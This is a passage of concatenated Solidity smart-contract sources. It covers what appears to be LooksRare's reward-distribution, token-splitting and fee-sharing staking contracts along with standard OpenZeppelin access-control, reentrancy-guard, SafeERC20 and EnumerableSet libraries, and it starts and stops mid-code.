_minRewardDurationInBlocks, uint256 _maxRewardDurationInBlocks, uint256 _rewardDurationInBlocks ) { require( (_rewardDurationInBlocks <= _maxRewardDurationInBlocks) && (_rewardDurationInBlocks >= _minRewardDurationInBlocks), "Owner: Reward duration in blocks outside of range" ); MIN_REWARD_DURATION_IN_BLOCKS = _minRewardDurationInBlocks; MAX_REWARD_DURATION_IN_BLOCKS = _maxRewardDurationInBlocks; feeSharingSystem = FeeSharingSystem(_feeSharingSystem); rewardToken = feeSharingSystem.rewardToken(); looksRareToken = feeSharingSystem.looksRareToken(); tokenDistributor = feeSharingSystem.tokenDistributor(); rewardDurationInBlocks = _rewardDurationInBlocks; nextRewardDurationInBlocks = _rewardDurationInBlocks; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** * @notice Update the reward per block (in rewardToken) * @dev It automatically retrieves the number of pending WETH and adjusts * based on the balance of LOOKS in fee-staking addresses that exist in the set. */ function updateRewards() external onlyRole(OPERATOR_ROLE) { if (lastRewardDistributionBlock > 0) { require(block.number > (rewardDurationInBlocks + lastRewardDistributionBlock), "Reward: Too early to add"); } // Adjust for this period if (rewardDurationInBlocks != nextRewardDurationInBlocks) { rewardDurationInBlocks = nextRewardDurationInBlocks; } lastRewardDistributionBlock = block.number; // Calculate the reward to distribute as the balance held by this address uint256 reward = rewardToken.balanceOf(address(this)); require(reward != 0, "Reward: Nothing to distribute"); // Check if there is any address eligible for fee-sharing only uint256 numberAddressesForFeeStaking = _feeStakingAddresses.length(); // If there are eligible addresses for fee-sharing only, calculate their shares if (numberAddressesForFeeStaking > 0) { uint256[] memory looksBalances = new uint256[](numberAddressesForFeeStaking); (uint256 totalAmountStaked, ) = tokenDistributor.userInfo(address(feeSharingSystem)); for (uint256 i = 0; i < numberAddressesForFeeStaking; i++) { uint256 looksBalance = looksRareToken.balanceOf(_feeStakingAddresses.at(i)); totalAmountStaked += looksBalance; looksBalances[i] = looksBalance; } // Only apply the logic if the totalAmountStaked > 0 (to prevent division by 0) if (totalAmountStaked > 0) { uint256 adjustedReward = reward; for (uint256 i = 0; i < numberAddressesForFeeStaking; i++) { uint256 amountToTransfer = (looksBalances[i] * reward) / totalAmountStaked; if (amountToTransfer > 0) { adjustedReward -= amountToTransfer; rewardToken.safeTransfer(_feeStakingAddresses.at(i), amountToTransfer); } } // Adjust reward accordingly reward = adjustedReward; } } // Transfer tokens to fee sharing system rewardToken.safeTransfer(address(feeSharingSystem), reward); // Update rewards feeSharingSystem.updateRewards(reward, rewardDurationInBlocks); } /** * @notice Convert currencies to reward token * @dev Function only usable only for whitelisted currencies (where no potential side effect) * @param token address of the token to sell * @param additionalData additional data (e.g., slippage) */ function convertCurrencyToRewardToken(address token, bytes calldata additionalData) external nonReentrant onlyRole(OPERATOR_ROLE) { require(address(rewardConvertor) != address(0), "Convert: RewardConvertor not set"); require(token != address(rewardToken), "Convert: Cannot be reward token"); uint256 amountToConvert = IERC20(token).balanceOf(address(this)); require(amountToConvert != 0, "Convert: Amount to convert must be > 0"); // Adjust allowance for this transaction only IERC20(token).safeIncreaseAllowance(address(rewardConvertor), amountToConvert); // Exchange token to reward token uint256 amountReceived = rewardConvertor.convert(token, address(rewardToken), amountToConvert, additionalData); emit ConversionToRewardToken(token, amountToConvert, amountReceived); } /** * @notice Add staking addresses * @param _stakingAddresses array of addresses eligible for fee-sharing only */ function addFeeStakingAddresses(address[] calldata _stakingAddresses) external onlyRole(DEFAULT_ADMIN_ROLE) { for (uint256 i = 0; i < _stakingAddresses.length; i++) { require(!_feeStakingAddresses.contains(_stakingAddresses[i]), "Owner: Address already registered"); _feeStakingAddresses.add(_stakingAddresses[i]); } emit FeeStakingAddressesAdded(_stakingAddresses); } /** * @notice Remove staking addresses * @param _stakingAddresses array of addresses eligible for fee-sharing only */ function removeFeeStakingAddresses(address[] calldata _stakingAddresses) external onlyRole(DEFAULT_ADMIN_ROLE) { for (uint256 i = 0; i < _stakingAddresses.length; i++) { require(_feeStakingAddresses.contains(_stakingAddresses[i]), "Owner: Address not registered"); _feeStakingAddresses.remove(_stakingAddresses[i]); } emit FeeStakingAddressesRemoved(_stakingAddresses); } /** * @notice Set new reward duration in blocks for next update * @param _newRewardDurationInBlocks number of blocks for new reward period */ function setNewRewardDurationInBlocks(uint256 _newRewardDurationInBlocks) external onlyRole(DEFAULT_ADMIN_ROLE) { require( (_newRewardDurationInBlocks <= MAX_REWARD_DURATION_IN_BLOCKS) && (_newRewardDurationInBlocks >= MIN_REWARD_DURATION_IN_BLOCKS), "Owner: New reward duration in blocks outside of range" ); nextRewardDurationInBlocks = _newRewardDurationInBlocks; emit NewRewardDurationInBlocks(_newRewardDurationInBlocks); } /** * @notice Set reward convertor contract * @param _rewardConvertor address of the reward convertor (set to null to deactivate) */ function setRewardConvertor(address _rewardConvertor) external onlyRole(DEFAULT_ADMIN_ROLE) { rewardConvertor = IRewardConvertor(_rewardConvertor); emit NewRewardConvertor(_rewardConvertor); } /** * @notice Transfer ownership of fee sharing system * @param _newOwner address of the new owner */ function transferOwnershipOfFeeSharingSystem(address _newOwner) external onlyRole(DEFAULT_ADMIN_ROLE) { require(_newOwner != address(0), "Owner: New owner cannot be null address"); feeSharingSystem.transferOwnership(_newOwner); emit NewFeeSharingSystemOwner(_newOwner); } /** * @notice See addresses eligible for fee-staking */ function viewFeeStakingAddresses() external view returns (address[] memory) { uint256 length = _feeStakingAddresses.length(); address[] memory feeStakingAddresses = new address[](length); for (uint256 i = 0; i < length; i++) { feeStakingAddresses[i] = _feeStakingAddresses.at(i); } return (feeStakingAddresses); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title TokenSplitter * @notice It splits LOOKS to team/treasury/trading volume reward accounts based on shares. */ contract TokenSplitter is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; struct AccountInfo { uint256 shares; uint256 tokensDistributedToAccount; } uint256 public immutable TOTAL_SHARES; IERC20 public immutable looksRareToken; // Total LOOKS tokens distributed across all accounts uint256 public totalTokensDistributed; mapping(address => AccountInfo) public accountInfo; event NewSharesOwner(address indexed oldRecipient, address indexed newRecipient); event TokensTransferred(address indexed account, uint256 amount); /** * @notice Constructor * @param _accounts array of accounts addresses * @param _shares array of shares per account * @param _looksRareToken address of the LOOKS token */ constructor( address[] memory _accounts, uint256[] memory _shares, address _looksRareToken ) { require(_accounts.length == _shares.length, "Splitter: Length differ"); require(_accounts.length > 0, "Splitter: Length must be > 0"); uint256 currentShares; for (uint256 i = 0; i < _accounts.length; i++) { require(_shares[i] > 0, "Splitter: Shares are 0"); currentShares += _shares[i]; accountInfo[_accounts[i]].shares = _shares[i]; } TOTAL_SHARES = currentShares; looksRareToken = IERC20(_looksRareToken); } /** * @notice Release LOOKS tokens to the account * @param account address of the account */ function releaseTokens(address account) external nonReentrant { require(accountInfo[account].shares > 0, "Splitter: Account has no share"); // Calculate amount to transfer to the account uint256 totalTokensReceived = looksRareToken.balanceOf(address(this)) + totalTokensDistributed; uint256 pendingRewards = ((totalTokensReceived * accountInfo[account].shares) / TOTAL_SHARES) - accountInfo[account].tokensDistributedToAccount; // Revert if equal to 0 require(pendingRewards != 0, "Splitter: Nothing to transfer"); accountInfo[account].tokensDistributedToAccount += pendingRewards; totalTokensDistributed += pendingRewards; // Transfer funds to account looksRareToken.safeTransfer(account, pendingRewards); emit TokensTransferred(account, pendingRewards); } /** * @notice Update share recipient * @param _newRecipient address of the new recipient * @param _currentRecipient address of the current recipient */ function updateSharesOwner(address _newRecipient, address _currentRecipient) external onlyOwner { require(accountInfo[_currentRecipient].shares > 0, "Owner: Current recipient has no shares"); require(accountInfo[_newRecipient].shares == 0, "Owner: New recipient has existing shares"); // Copy shares to new recipient accountInfo[_newRecipient].shares = accountInfo[_currentRecipient].shares; accountInfo[_newRecipient].tokensDistributedToAccount = accountInfo[_currentRecipient] .tokensDistributedToAccount; // Reset existing shares accountInfo[_currentRecipient].shares = 0; accountInfo[_currentRecipient].tokensDistributedToAccount = 0; emit NewSharesOwner(_currentRecipient, _newRecipient); } /** * @notice Retrieve amount of LOOKS tokens that can be transferred * @param account address of the account */ function calculatePendingRewards(address account) external view returns (uint256) { if (accountInfo[account].shares == 0) { return 0; } uint256 totalTokensReceived = looksRareToken.balanceOf(address(this)) + totalTokensDistributed; uint256 pendingRewards = ((totalTokensReceived * accountInfo[account].shares) / TOTAL_SHARES) - accountInfo[account].tokensDistributedToAccount; return pendingRewards; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {TokenDistributor} from "./TokenDistributor.sol"; /** * @title FeeSharingSystem * @notice It handles the distribution of fees using * WETH along with the auto-compounding of LOOKS. */ contract FeeSharingSystem is ReentrancyGuard, Ownable { using SafeERC20 for IERC20; struct UserInfo { uint256 shares; // shares of token staked uint256 userRewardPerTokenPaid; // user reward per token paid uint256 rewards; // pending rewards } // Precision factor for calculating rewards and exchange rate uint256 public constant PRECISION_FACTOR = 10**18; IERC20 public immutable looksRareToken; IERC20 public immutable rewardToken; TokenDistributor public immutable tokenDistributor; // Reward rate (block) uint256 public currentRewardPerBlock; // Last reward adjustment block number uint256 public lastRewardAdjustment; // Last update block for rewards uint256 public lastUpdateBlock; // Current end block for the current reward period uint256 public periodEndBlock; // Reward per token stored uint256 public rewardPerTokenStored; // Total existing shares uint256 public totalShares; mapping(address => UserInfo) public userInfo; event Deposit(address indexed user, uint256 amount, uint256 harvestedAmount); event Harvest(address indexed user, uint256 harvestedAmount); event NewRewardPeriod(uint256 numberBlocks, uint256 rewardPerBlock, uint256 reward); event Withdraw(address indexed user, uint256 amount, uint256 harvestedAmount); /** * @notice Constructor * @param _looksRareToken address of the token staked (LOOKS) * @param _rewardToken address of the reward token * @param _tokenDistributor address of the token distributor contract */ constructor( address _looksRareToken, address _rewardToken, address _tokenDistributor ) { rewardToken = IERC20(_rewardToken); looksRareToken = IERC20(_looksRareToken); tokenDistributor = TokenDistributor(_tokenDistributor); } /** * @notice Deposit staked tokens (and collect reward tokens if requested) * @param amount amount to deposit (in LOOKS) * @param claimRewardToken whether to claim reward tokens * @dev There is a limit of 1 LOOKS per deposit to prevent potential manipulation of current shares */ function deposit(uint256 amount, bool claimRewardToken) external nonReentrant { require(amount >= PRECISION_FACTOR, "Deposit: Amount must be >= 1 LOOKS"); // Auto compounds for everyone tokenDistributor.harvestAndCompound(); // Update reward for user _updateReward(msg.sender); // Retrieve total amount staked by this contract (uint256 totalAmountStaked, ) = tokenDistributor.userInfo(address(this)); // Transfer LOOKS tokens to this address looksRareToken.safeTransferFrom(msg.sender, address(this), amount); uint256 currentShares; // Calculate the number of shares to issue for the user if (totalShares != 0) { currentShares = (amount * totalShares) / totalAmountStaked; // This is a sanity check to prevent deposit for 0 shares require(currentShares != 0, "Deposit: Fail"); } else { currentShares = amount; } // Adjust internal shares userInfo[msg.sender].shares += currentShares; totalShares += currentShares; uint256 pendingRewards; if (claimRewardToken) { // Fetch pending rewards pendingRewards = userInfo[msg.sender].rewards; if (pendingRewards > 0) { userInfo[msg.sender].rewards = 0; rewardToken.safeTransfer(msg.sender, pendingRewards); } } // Verify LOOKS token allowance and adjust if necessary _checkAndAdjustLOOKSTokenAllowanceIfRequired(amount, address(tokenDistributor)); // Deposit user amount in the token distributor contract tokenDistributor.deposit(amount); emit Deposit(msg.sender, amount, pendingRewards); } /** * @notice Harvest reward tokens that are pending */ function harvest() external nonReentrant { // Auto compounds for everyone tokenDistributor.harvestAndCompound(); // Update reward for user _updateReward(msg.sender); // Retrieve pending rewards uint256 pendingRewards = userInfo[msg.sender].rewards; // If pending rewards are null, revert require(pendingRewards > 0, "Harvest: Pending rewards must be > 0"); // Adjust user rewards and transfer userInfo[msg.sender].rewards = 0; // Transfer reward token to sender rewardToken.safeTransfer(msg.sender, pendingRewards); emit Harvest(msg.sender, pendingRewards); } /** * @notice Withdraw staked tokens (and collect reward tokens if requested) * @param shares shares to withdraw * @param claimRewardToken whether to claim reward tokens */ function withdraw(uint256 shares, bool claimRewardToken) external nonReentrant { require( (shares > 0) && (shares <= userInfo[msg.sender].shares), "Withdraw: Shares equal to 0 or larger than user shares" ); _withdraw(shares, claimRewardToken); } /** * @notice Withdraw all staked tokens (and collect reward tokens if requested) * @param claimRewardToken whether to claim reward tokens */ function withdrawAll(bool claimRewardToken) external nonReentrant { _withdraw(userInfo[msg.sender].shares, claimRewardToken); } /** * @notice Update the reward per block (in rewardToken) * @dev Only callable by owner. Owner is meant to be another smart contract. */ function updateRewards(uint256 reward, uint256 rewardDurationInBlocks) external onlyOwner { // Adjust the current reward per block if (block.number >= periodEndBlock) { currentRewardPerBlock = reward / 